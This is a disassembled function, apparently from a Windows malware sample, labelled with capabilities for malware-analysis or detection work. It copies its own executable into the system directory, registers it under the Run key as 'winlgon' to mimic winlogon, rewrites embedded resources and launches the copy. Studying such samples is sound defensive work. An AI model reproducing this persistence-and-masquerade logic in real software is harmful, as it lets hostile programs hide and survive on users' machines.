Function at 0x4025a0
Capabilities:
Copy file
Create process on windows
Extract resource via kernel32 functions
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x40444b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x21c
push ebx
push esi
push edi
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString_2
push 2
lea ecx, [esp + 0x10]
mov dword [esp + 0x234], 0
call sub.MFC42.DLL_CString::LoadStringA
lea eax, [esp + 0xc]
push eax
call fcn.00401410
add esp, 4
lea ecx, [esp + 0x120]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x18]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x407210
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x128]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [esp + 0x14]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.MSVCRT.dll__mbslen]
add esp, 4
lea ecx, [esp + 0x18]
push eax
push ecx
push 1
mov edx, dword [esp + 0x20]
push 0
push str.winlgon
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceA]
push 0xe
push 2
push 0
call edi
push 3
push 2
push 0
mov esi, eax
call edi
test esi, esi
mov ebx, eax
je 0x402770
test ebx, ebx
je 0x402770
mov edi, dword [sym.imp.KERNEL32.dll_LoadResource]
push ebp
push esi
push 0
call edi
push ebx
push 0
mov ebp, eax
call edi
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [esp + 0x18], eax
call ebp
mov edi, eax
mov eax, dword [esp + 0x14]
push eax
call ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
mov ebp, eax
call esi
push ebx
push 0
mov dword [esp + 0x1c], eax
call esi
lea ecx, [esp + 0x1c]
push 0
push ecx
mov ebx, eax
mov word [edi + 0x12], 1
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov edx, dword [esp + 0x14]
mov esi, eax
push edx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push 0x409
push 1
push 0xe
push esi
call edi
push ebx
push ebp
push 0x409
push 1
push 3
push esi
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
pop ebp
lea eax, [esp + 0x18]
push 5
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 0xc]
mov esi, eax
mov dword [esp + 0x230], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x228]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x228
ret